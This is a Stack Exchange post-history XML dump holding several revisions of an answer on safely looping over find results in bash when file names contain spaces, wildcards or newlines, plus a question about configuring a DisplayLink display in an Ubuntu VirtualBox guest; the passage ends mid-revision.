  <row Id="25477" PostHistoryTypeId="5" PostId="9499" RevisionGUID="68709edc-fc19-44b9-a091-aed11206e60f" CreationDate="2011-04-04T00:19:58.697" UserId="3169" Comment="added 183 characters in body" Text="**Short answer (closest to your answer, but handles spaces)**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -type f -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read line&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;**Better answer (also handles wildcards and newlines in file names)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Best answer (based on [Gilles' answer][2])**&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have three problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;3. What if there is a directory whose name ends in `*.csv`?&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now and runs the loop.  Then it starts where it left off to get the next file name, and runs the next loop, etc., until it reaches the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;That is probably enough to get your script working, but if you're interested to handle some other corner cases properly, read on...&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;Inside the loop where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;It could contain spaces, but since we already set `IFS` above, that won't be a problem here.&#xD;&#xA;&#xD;&#xA;But it could also contain wildcard characters such as `*` or `?`, which would lead to unpredictable behavior.  (Thanks to Gilles for pointing this out.)&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g.&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;&#xD;&#xA;The same problem could also bite us in&#xD;&#xA;&#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`&#xD;&#xA;&#xD;&#xA;For example, if you had these three files&#xD;&#xA;&#xD;&#xA;    file1.csv&#xD;&#xA;    file2.csv&#xD;&#xA;    *.csv&#xD;&#xA;&#xD;&#xA;(very unlikely, but still possible)&#xD;&#xA;&#xD;&#xA;It would be as if you had run&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv&#xD;&#xA;&#xD;&#xA;which will get expanded to&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv file1.csv file2.csv&#xD;&#xA;&#xD;&#xA;causing `file1.csv` and `file2.csv` to be processed twice.&#xD;&#xA;&#xD;&#xA;Instead, we have to do&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print | while IFS=$'\n' read -r file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note that `read line` has changed to `read line &lt;/dev/tty`.  This is because inside the loop, standard input is coming from `find` via the pipeline.  If we just did `read`, it would be consuming part or all of a file name, and some files would be skipped.  `/dev/tty` is the terminal where the user is running the script from.  (Note that this will cause an error if the script is run via cron, but I assume this is not important in this case.)&#xD;&#xA;&#xD;&#xA;Then, what if a file name contains newlines?&#xD;&#xA;&#xD;&#xA;We can handle that by changing `-print` to `-print0` and using `read -d $'\0'` on the end of a pipeline:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read char &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This makes `find` put a null byte at the end of each file name.  Null bytes are the only characters not allowed in file names, so this should handle all possible file names, no matter how weird.&#xD;&#xA;&#xD;&#xA;To get the file name on the other side, we use `read -d $'\0'`.  `$'\0'` is how you write a null byte in `bash`.  The `-d` option tells read that each line of input is terminated with a null byte, rather than a newline.&#xD;&#xA;&#xD;&#xA;Or a more portable way (again, thanks to Gilles):&#xD;&#xA;&#xD;&#xA;    find . -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read char &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;**3. Skipping directories whose names end in *.csv**&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot;&#xD;&#xA;&#xD;&#xA;will also match directories that are called `something.csv`.&#xD;&#xA;&#xD;&#xA;To avoid this, add `-type f` to the `find` command.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;As [glenn jackman][3] points out, in both of these examples, the commands to execute for each file are being run in a subshell, so if you change any variables inside the loop, they will be forgotten.&#xD;&#xA;&#xD;&#xA;If you need to set variables and have them still set at the end of the loop, you can rewrite it to use process substitution like this:&#xD;&#xA;&#xD;&#xA;    i=0&#xD;&#xA;    while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;        i=$((i+1))&#xD;&#xA;    done &lt; &lt;(find . -type f -name '*.csv' -print0)&#xD;&#xA;    echo &quot;$i files processed&quot;&#xD;&#xA;&#xD;&#xA;Note that if you try copying and pasting this at the command line, `read line` will consume the `echo &quot;$i files processed&quot;`, so that command won't get run.&#xD;&#xA;&#xD;&#xA;To avoid this, you could remove `read line &lt;/dev/tty` and send the result to a pager like `less`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;These days, `$(command)` is more common than ``` `command` ```.  This is mainly because it's easier to write `$(command1 $(command2))` than ``` `command1 \`command2\`` ```.&#xD;&#xA;&#xD;&#xA;`read char` doesn't really read a character.  It reads a whole line so I changed it to `read line`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/9496/looping-through-files-with-spaces-in-the-names/9500#9500&#xD;&#xA;  [3]: http://unix.stackexchange.com/users/4667/glenn-jackman" />
  <row Id="25478" PostHistoryTypeId="5" PostId="9499" RevisionGUID="7802bebb-eacb-4ed8-870d-817a165eb30a" CreationDate="2011-04-04T00:26:47.180" UserId="3169" Comment="added 224 characters in body" Text="**Short answer (closest to your answer, but handles spaces)**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -type f -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read line&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;**Better answer (also handles wildcards and newlines in file names)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Best answer (based on [Gilles' answer][2])**&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have three problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;3. What if there is a directory whose name ends in `*.csv`?&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now and runs the loop.  Then it starts where it left off to get the next file name, and runs the next loop, etc., until it reaches the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;That is probably enough to get your script working, but if you're interested to handle some other corner cases properly, read on...&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;Inside the loop where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;It could contain spaces, but since we already set `IFS` above, that won't be a problem here.&#xD;&#xA;&#xD;&#xA;But it could also contain wildcard characters such as `*` or `?`, which would lead to unpredictable behavior.  (Thanks to Gilles for pointing this out.)&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g.&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;&#xD;&#xA;The same problem could also bite us in&#xD;&#xA;&#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`&#xD;&#xA;&#xD;&#xA;For example, if you had these three files&#xD;&#xA;&#xD;&#xA;    file1.csv&#xD;&#xA;    file2.csv&#xD;&#xA;    *.csv&#xD;&#xA;&#xD;&#xA;(very unlikely, but still possible)&#xD;&#xA;&#xD;&#xA;It would be as if you had run&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv&#xD;&#xA;&#xD;&#xA;which will get expanded to&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv file1.csv file2.csv&#xD;&#xA;&#xD;&#xA;causing `file1.csv` and `file2.csv` to be processed twice.&#xD;&#xA;&#xD;&#xA;Instead, we have to do&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print | while IFS=$'\n' read -r file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note that `read line` has changed to `read line &lt;/dev/tty`.  This is because inside the loop, standard input is coming from `find` via the pipeline.  If we just did `read`, it would be consuming part or all of a file name, and some files would be skipped.  `/dev/tty` is the terminal where the user is running the script from.  (Note that this will cause an error if the script is run via cron, but I assume this is not important in this case.)&#xD;&#xA;&#xD;&#xA;Then, what if a file name contains newlines?&#xD;&#xA;&#xD;&#xA;We can handle that by changing `-print` to `-print0` and using `read -d $'\0'` on the end of a pipeline:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read char &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This makes `find` put a null byte at the end of each file name.  Null bytes are the only characters not allowed in file names, so this should handle all possible file names, no matter how weird.&#xD;&#xA;&#xD;&#xA;To get the file name on the other side, we use `IFS= read -r -d $'\0'`.  `IFS=` says don't try breaking each line up into separate fields.  `-r` says don't try to convert backslashes into escape sequences (e.g. don't convert '\n' into a newline).  `-d $'\0'` tells `bash` that each line (or record) is delimited by a null byte, rather than a newline.&#xD;&#xA;&#xD;&#xA;A more portable way of writing this that doesn't require `bash` or remembering all the above rules about null bytes (again, thanks to Gilles):&#xD;&#xA;&#xD;&#xA;    find . -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read char &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;**3. Skipping directories whose names end in *.csv**&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot;&#xD;&#xA;&#xD;&#xA;will also match directories that are called `something.csv`.&#xD;&#xA;&#xD;&#xA;To avoid this, add `-type f` to the `find` command.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;As [glenn jackman][3] points out, in both of these examples, the commands to execute for each file are being run in a subshell, so if you change any variables inside the loop, they will be forgotten.&#xD;&#xA;&#xD;&#xA;If you need to set variables and have them still set at the end of the loop, you can rewrite it to use process substitution like this:&#xD;&#xA;&#xD;&#xA;    i=0&#xD;&#xA;    while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;        i=$((i+1))&#xD;&#xA;    done &lt; &lt;(find . -type f -name '*.csv' -print0)&#xD;&#xA;    echo &quot;$i files processed&quot;&#xD;&#xA;&#xD;&#xA;Note that if you try copying and pasting this at the command line, `read line` will consume the `echo &quot;$i files processed&quot;`, so that command won't get run.&#xD;&#xA;&#xD;&#xA;To avoid this, you could remove `read line &lt;/dev/tty` and send the result to a pager like `less`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;These days, `$(command)` is more common than ``` `command` ```.  This is mainly because it's easier to write `$(command1 $(command2))` than ``` `command1 \`command2\`` ```.&#xD;&#xA;&#xD;&#xA;`read char` doesn't really read a character.  It reads a whole line so I changed it to `read line`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/9496/looping-through-files-with-spaces-in-the-names/9500#9500&#xD;&#xA;  [3]: http://unix.stackexchange.com/users/4667/glenn-jackman" />
  <row Id="25479" PostHistoryTypeId="5" PostId="10568" RevisionGUID="2e2cae64-ef97-4f56-b020-205daa8ce3a6" CreationDate="2011-04-04T00:44:38.620" UserId="1049" Comment="added 134 characters in body" Text="I have a virtual machine running Ubuntu 10.04 32-bit. Using the tools provided with VirtualBox, I have added a [DisplayLink](http://en.wikipedia.org/wiki/DisplayLink) device to the VM and created the following `xorg.conf` file:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Section &quot;ServerLayout&quot;&#xD;&#xA;        Identifier      &quot;Server Layout&quot;&#xD;&#xA;        Screen  0       &quot;DisplayLinkScreen&quot; 0 0&#xD;&#xA;        Option          &quot;Xinerama&quot; &quot;off&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Files&quot;&#xD;&#xA;        ModulePath      &quot;/usr/lib/xorg/modules&quot;&#xD;&#xA;        ModulePath      &quot;/usr/local/lib/xorg/modules&quot;&#xD;&#xA;        ModulePath      &quot;/usr/local/lib/xorg/modules/drivers&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;############### DisplayLink Stuff ###############&#xD;&#xA;&#xD;&#xA;Section &quot;Device&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkDevice&quot;&#xD;&#xA;        driver          &quot;displaylink&quot;&#xD;&#xA;        Option  &quot;fbdev&quot; &quot;/dev/fb1&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Monitor&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkMonitor&quot;&#xD;&#xA;EndSection&#xD;&#xA;&#xD;&#xA;Section &quot;Screen&quot;&#xD;&#xA;        Identifier      &quot;DisplayLinkScreen&quot;&#xD;&#xA;        Device          &quot;DisplayLinkDevice&quot;&#xD;&#xA;        Monitor         &quot;DisplayLinkMonitor&quot;&#xD;&#xA;        SubSection &quot;Display&quot;&#xD;&#xA;                Depth   16&#xD;&#xA;                Modes   &quot;800x480&quot;&#xD;&#xA;        EndSubSection&#xD;&#xA;EndSection&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;This works to a small degree - the DisplayLink device turns green, and eventually a purple desktop with my icons appear on it. The actual VBox window is blank. The problem is that:&#xD;&#xA;&#xD;&#xA; - the Gnome panel does not load&#xD;&#xA; - I can't right-click&#xD;&#xA;&#xD;&#xA;I tried pressing `Ctrl+F1` and the console displays in the VBox window. Pressing `Ctrl+F7` after that does nothing. I have to press `Ctrl+F8` to get back to the GUI. This leads me to believe that there's an extra display in there somewhere.&#xD;&#xA;&#xD;&#xA;I *have* installed Guest Additions if that helps.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Edit:** It seems like the problem is with Gnome / GDM. `xev` is reporting that all input events are coming through okay." />
  <row Id="25480" PostHistoryTypeId="5" PostId="9499" RevisionGUID="d75c06a6-bd5a-493a-beaa-3796e1f5ca55" CreationDate="2011-04-04T00:44:43.490" UserId="3169" Comment="added 393 characters in body" Text="**Short answer (closest to your answer, but handles spaces)**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -type f -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read line&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;**Better answer (also handles wildcards and newlines in file names)**&#xD;&#xA;&#xD;&#xA;    find . -type f -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;**Best answer (based on [Gilles' answer][2])**&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have three problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;3. What if there is a directory whose name ends in `*.csv`?&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now and runs the loop.  Then it starts where it left off to get the next file name, and runs the next loop, etc., until it reaches the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;That is probably enough to get your script working, but if you're interested to handle some other corner cases properly, read on...&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;Inside the loop where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;It could contain spaces, but since we already set `IFS` above, that won't be a problem here.&#xD;&#xA;&#xD;&#xA;But it could also contain wildcard characters such as `*` or `?`, which would lead to unpredictable behavior.  (Thanks to Gilles for pointing this out.)&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g.&#xD;&#xA;&#xD;&#xA;    diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;&#xD;&#xA;The same problem could also bite us in&#xD;&#xA;&#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`&#xD;&#xA;&#xD;&#xA;For example, if you had these three files&#xD;&#xA;&#xD;&#xA;    file1.csv&#xD;&#xA;    file2.csv&#xD;&#xA;    *.csv&#xD;&#xA;&#xD;&#xA;(very unlikely, but still possible)&#xD;&#xA;&#xD;&#xA;It would be as if you had run&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv&#xD;&#xA;&#xD;&#xA;which will get expanded to&#xD;&#xA;&#xD;&#xA;    for file in file1.csv file2.csv *.csv file1.csv file2.csv&#xD;&#xA;&#xD;&#xA;causing `file1.csv` and `file2.csv` to be processed twice.&#xD;&#xA;&#xD;&#xA;Instead, we have to do&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print | while IFS= read -r file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;`read` reads lines from standard input, splits the line into words according to `IFS` and stores them in the variable names that you specify.&#xD;&#xA;&#xD;&#xA;Here, we're telling it not to split the line into words, and to store the line in `$file`.&#xD;&#xA;&#xD;&#xA;Also note that `read line` has changed to `read line &lt;/dev/tty`.&#xD;&#xA;&#xD;&#xA;This is because inside the loop, standard input is coming from `find` via the pipeline.&#xD;&#xA;&#xD;&#xA;If we just did `read`, it would be consuming part or all of a file name, and some files would be skipped.&#xD;&#xA;&#xD;&#xA;`/dev/tty` is the terminal where the user is running the script from.  Note that this will cause an error if the script is run via cron, but I assume this is not important in this case.&#xD;&#xA;&#xD;&#xA;Then, what if a file name contains newlines?&#xD;&#xA;&#xD;&#xA;We can handle that by changing `-print` to `-print0` and using `read -d $'\0'` on the end of a pipeline:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read char &lt;/dev/tty&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This makes `find` put a null byte at the end of each file name.  Null bytes are the only characters not allowed in file names, so this should handle all possible file names, no matter how weird.&#xD;&#xA;&#xD;&#xA;To get the file name on the other side, we use `IFS= read -r -d $'\0'`.&#xD;&#xA;&#xD;&#xA;Where we used `read` above, we used the default line separator of newline, but now, `find` is using null (written `$'\0'` in bash) as the line separator, so we use `-d $'\0'` to make `read` use the same line separator as `find`.&#xD;&#xA;&#xD;&#xA;To be correct, we also add `-r`, which says don't handle backslashes in file names specially.  For example, without `-r`, `\&lt;newline&gt;` is converted into a space, and `\n` is converted into `n`.&#xD;&#xA;&#xD;&#xA;A more portable way of writing this that doesn't require `bash` or remembering all the above rules about null bytes (again, thanks to Gilles):&#xD;&#xA;&#xD;&#xA;    find . -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read char &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;**3. Skipping directories whose names end in *.csv**&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot;&#xD;&#xA;&#xD;&#xA;will also match directories that are called `something.csv`.&#xD;&#xA;&#xD;&#xA;To avoid this, add `-type f` to the `find` command.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.csv' -exec sh -c '&#xD;&#xA;      file=&quot;$0&quot;&#xD;&#xA;      echo &quot;$file&quot;&#xD;&#xA;      diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;      read line &lt;/dev/tty&#xD;&#xA;    ' {} ';'&#xD;&#xA;&#xD;&#xA;As [glenn jackman][3] points out, in both of these examples, the commands to execute for each file are being run in a subshell, so if you change any variables inside the loop, they will be forgotten.&#xD;&#xA;&#xD;&#xA;If you need to set variables and have them still set at the end of the loop, you can rewrite it to use process substitution like this:&#xD;&#xA;&#xD;&#xA;    i=0&#xD;&#xA;    while IFS= read -r -d $'\0' file; do&#xD;&#xA;        echo &quot;file = $file&quot;&#xD;&#xA;        diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;        read line &lt;/dev/tty&#xD;&#xA;        i=$((i+1))&#xD;&#xA;    done &lt; &lt;(find . -type f 